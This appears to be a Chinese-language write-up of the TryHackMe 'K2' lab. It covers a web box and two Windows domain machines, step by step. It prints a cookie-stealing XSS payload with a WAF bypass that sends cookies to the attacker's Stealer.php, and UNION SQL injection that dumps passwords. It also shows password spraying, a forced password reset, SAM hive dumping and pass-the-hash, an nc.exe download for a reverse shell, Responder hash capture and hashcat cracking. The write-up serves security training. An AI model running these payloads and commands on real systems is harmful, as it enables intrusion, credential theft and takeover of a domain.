tryhackme-k2 Writeup
Base Camp
首先进行端口扫描和目录扫描对k2.thm 是个静态页面也没啥关键信息
试着爆破子域名,使用fuff
1 | ffuf -w D:\tools\DICT\PasswordDic\域名字典\subnames-9.5w.txt -u http://k2.thm/ -H "HOST:FUZZ.k2.thm" -fw 811 |
接着对域名和ip绑定
访问两个页面 前面内容大差不差
admin登录不进去 我们先注册个用户普通用户进去
进去之后是个文本框
抓包测试一下看眼参数,先简单测试一下sql注入好像没有
接着测试xss,在本地先启一个python服务
1 | python -m http.server 80 |
插入xss语句
1 | <script src="http://10.11.112.0/test"></script> |
收到回显信息
Cooke中有jwt
xss打cookie 拿管理员cookie 登录管理员的账户
1 | <script>location.href = 'http://10.11.112.0/Stealer.php?cookie='+document.cookie</script> |
遇到了waf
拼接字符串绕过一下
1 | <script>var a='coo'+'kie';location.href = 'http://10.11.112.0/Stealer.php?cookie='+document[a]</script> |
拿到cookie
1 | session=eyJhZG1pbl91c2VybmFtZSI6ImphbWVzIiwiaWQiOjEsImxvZ2dlZGluIjp0cnVlfQ.Zz2mDA.AFoaTxXB-4wtIweMsTBG4e9VZg0 |
接着我们带上cookie去访问admin的后台
查询功能点测一测sql注入
加‘直接爆500 加上注释符号正常,存在sql注入
sqlmap跑一下试试(不知道为啥sqlmap出不来)
手注 得到一些用户密码
1 | title=' UNION SELECT 1,2,group_concat(admin_username,':',admin_password) FROM admin_auth -- - |
1 | james:Pwd@9tLNrC3!,rose:VrMAogdfxW!9,bob:PasSW0Rd321,steve:St3veRoxx32,cait:PartyAlLDaY!32,xu:L0v3MyDog!3!,ash:PikAchu!IshoesU! |
试着用注出来的密码远程登录一下
拿到user的flag
查日志文件找rose的相关信息
找到了密码
因为james权限较低试着切换到rose的用户能不能权限搞一点
密码不太对,试着拿密码登录root的账户,直接拿到root权限
到rose用户目录下看其命令得到rose密码
Middle Camp
首先扫描端口
对服务进行细致扫描
1 | nmap -sC -sV -p 53,139,88,135,445,3268,3389,9389 -Pn k2.thm |
对该台主机进行绑定
结合之前收集到到的用户,做一个简单的用户名字典,枚举用户名
1 | j.blod r.bud jamesb rose.b roseb james.b jbud rbud |
上一台机器上拿到了密码,有可能密码复用,尝试密码喷洒
1 | kerbrute.exe passwordspray --dc 10.10.155.99 -d k2.thm D:\tools\yonghu.txt "vRMkaVgdfxhW!8" |
之前扫端口开着5985端口,尝试利用winrm连接
1 | evil-winrm -i 10.10.155.99 -u r.bud -p 'vRMkaVgdfxhW!8' |
到user目录下可查看都有哪些用户完成问题二
查看note_to_james.txt 说了 james的密码不符合规范在原有基础上加了数字和字母,我们用脚本生成一个密码字典
1 | import itertools |
然后去爆破James的密码 j.bold@k2.thm:#8rockyou
接着尝试winrm登录主机看看什么信息,发现该用户没有远程登录权限
使用 bloodhound收集一下信息
1 | bloodhound-python -ns 10.10.155.99 -dc K2Server.k2.thm -u j.bold -p "#8rockyou" --zip -c ALL -v -d k2.thm |
可以通过 j.bold 修改j.smith的账号密码
1 | net rpc password "j.smith" "password123@" -U "k2.thm"/"j.bold"%"#8rockyou" -S "10.10.50.61" |
继续尝试winrm登录
1 | evil-winrm -i 10.10.50.61 -u j.smith -p password123@ |
whoami /priv 查看权限
ackup Operators 组的成员可以备份和还原计算机上的所有文件,而不管保护这些文件的权限如何。Backup Operators 还可以登录和关闭计算机。无法重命名、删除或移除此组。默认情况下,此内置组没有成员,它可以在域控制器上执行备份和还原操作。
使用以下命令,我们保存这些哈希值并使用 evil-winrm 下载配置单元
1 | reg save hklm\sam c:\Windows\Tasks\SAM |
通过这两个配置文件 然后dump hash
1 | impacket-secretsdump -sam sam -system system LOCAL |
通过pth 以高权限登录
1 | evil-winrm -i 10.10.36.204 -u administrator -H '9545b61858c043477c350ae86c37b32f' |
The Summit
第一步扫描端口
没有web服务,依旧是一个域内机器
将K2RootDC.k2.thm 加入host,然后枚举用户名
用上个机器的hash pth到这台机器的admin试试 admin不成功,但是j.smith成功登陆了
到C:\Scripts> 目录下有一个backup.bat的文件 是一个复制的命令我们查看一下权限
没有权限,但是对文件夹有权限,backup的命令过一段时间就会执行
我们上传nc反弹个shell回来
1 | curl http://10.11.112.0:8080/nc.exe -o c:\windows\system32\tasks\nc.exe |
1 | 收到会话 |
1 | dir \\10.11.112.0\test\ |
responder -I thun0
1 | o.armstrong::K2:6f2d421690f9bf6f:1376FD55162780B2E87A76EED087C7EE:01010000000000008056CC200F3CDB01A8FEF404999B03940000000002000800310038004D00450001001E00570049004E002D0057003000480057004C0058004A00590053004600390004003400570049004E002D0057003000480057004C0058004A0059005300460039002E00310038004D0045002E004C004F00430041004C0003001400310038004D0045002E004C004F00430041004C0005001400310038004D0045002E004C004F00430041004C00070008008056CC200F3CDB010600040002000000080030003000000000000000000000000021000002C006BF8AC87A9C609AC567291FDB01A5D4968EA07E6D5E9B6BE8B9BF54E3840A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310031002E003100310032002E0030000000000000000000 |
我们试着用hashcat 破解一下
1 | hashcat armstrong.hash /usr/share/wordlists/rockyou.txt |
破解密码之后打基于资源的约束性委派